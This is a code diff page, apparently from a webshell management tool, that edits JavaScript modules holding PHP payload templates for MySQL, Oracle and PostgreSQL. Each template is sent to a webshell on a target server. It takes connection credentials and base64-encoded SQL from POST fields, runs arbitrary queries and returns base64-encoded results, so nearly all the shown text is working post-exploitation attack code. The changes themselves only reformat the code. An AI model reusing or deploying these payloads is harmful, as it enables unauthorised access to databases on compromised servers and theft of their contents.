_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES $_POST[${arg6}]");@mysql_select_db($dbn, $T);$q=@mysql_query($sql);if(is_bool($q)){echo("Status\t|\t\r\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\t|\t\r\n");}else{$i=0;while($col=@mysql_fetch_field($q)){echo($col->name."\t|\t");$i++;}echo("\r\n");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo("\t|\t");}echo("\r\n");}}@mysql_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES $_POST[${arg6}]");@mysql_select_db($dbn, $T);$q=@mysql_query($sql);if(is_bool($q)){echo("Status\t|\t\r\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\t|\t\r\n");}else{$i=0;while($col=@mysql_fetch_field($q)){echo($col->name."\t|\t");$i++;}echo("\r\n");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo("\t|\t");}echo("\r\n");}}@mysql_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
......
...@@ -6,8 +6,7 @@ ...@@ -6,8 +6,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -25,8 +24,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -25,8 +24,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -46,8 +44,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -46,8 +44,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -70,8 +67,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -70,8 +67,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
...@@ -6,16 +6,14 @@ ...@@ -6,16 +6,14 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$H=@Ora_Logon("\${usr}/\${pwd}@\${sid}","");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$H=@Ora_Logon("\${usr}/\${pwd}@\${sid}","");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}' [arg3]: '#{passwd}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$tab=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tab}' ORDER BY COLUMN_ID");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0))." (".ora_getcolumn($T,1).")".chr(9));}}@ora_close($T);};`,
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$tab=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tab}' ORDER BY COLUMN_ID");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0))." (".ora_getcolumn($T,1).")".chr(9));}}@ora_close($T);};`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -32,8 +29,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -32,8 +29,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"{$sql}");$R=ora_exec($T);if($R){$n=ora_numcols($T);for($i=0;$i<$n;$i++){echo(Ora_ColumnName($T,$i)."\t|\t");}echo("\r\n");while(ora_fetch($T)){for($i=0;$i<$n;$i++){echo(base64_encode(trim(ora_getcolumn($T,$i))));echo("\t|\t");}echo("\r\n");}}else{echo("ErrMsg\t|\t\r\n");}@ora_close($T);};`,
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"{$sql}");$R=ora_exec($T);if($R){$n=ora_numcols($T);for($i=0;$i<$n;$i++){echo(Ora_ColumnName($T,$i)."\t|\t");}echo("\r\n");while(ora_fetch($T)){for($i=0;$i<$n;$i++){echo(base64_encode(trim(ora_getcolumn($T,$i))));echo("\t|\t");}echo("\r\n");}}else{echo("ErrMsg\t|\t\r\n");}@ora_close($T);};`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
......
/** /**
* 数据库管理模板::oracle oci8 驱动 * 数据库管理模板::oracle oci8 驱动
* i 数据分隔符号 => \t|\t * i 数据分隔符号 => \t|\t
* *
* session_mode: OCI_DEFAULT 0 OCI_SYSOPER 4 OCI_SYSDBA 2 * session_mode: OCI_DEFAULT 0 OCI_SYSOPER 4 OCI_SYSDBA 2
* *
*/ */
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -42,8 +41,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -42,8 +41,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -84,8 +82,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -84,8 +82,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -128,8 +125,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -128,8 +125,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -176,6 +172,6 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -176,6 +172,6 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
[arg4]: '#{db}', [arg4]: '#{db}',
[arg5]: '#{base64::sql}', [arg5]: '#{base64::sql}',
[arg6]: '#{encode}', [arg6]: '#{encode}'
} }
}) })
...@@ -6,8 +6,7 @@ ...@@ -6,8 +6,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -38,15 +37,14 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -38,15 +37,14 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
@pg_free_result($q); @pg_free_result($q);
} }
@pg_close($T); @pg_close($T);
}`.replace(/\n\s+/g,''), }`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}' [arg3]: '#{passwd}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -79,7 +77,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -79,7 +77,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
@pg_free_result($q); @pg_free_result($q);
} }
@pg_close($T); @pg_close($T);
}`.replace(/\n\s+/g,''), }`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -87,8 +85,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -87,8 +85,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -123,7 +120,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -123,7 +120,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
@pg_free_result($q); @pg_free_result($q);
} }
@pg_close($T); @pg_close($T);
}`.replace(/\n\s+/g,''), }`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -132,8 +129,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -132,8 +129,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
...@@ -7,8 +7,7 @@ ...@@ -7,8 +7,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -26,8 +25,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -26,8 +25,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -47,8 +45,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -47,8 +45,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -70,8 +67,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -70,8 +67,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
// //
// 数据库驱动::ASPX // 数据库驱动::ASPX
// //
module.exports = require('../asp/index'); module.exports = require('../asp/index');
\ No newline at end of file
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment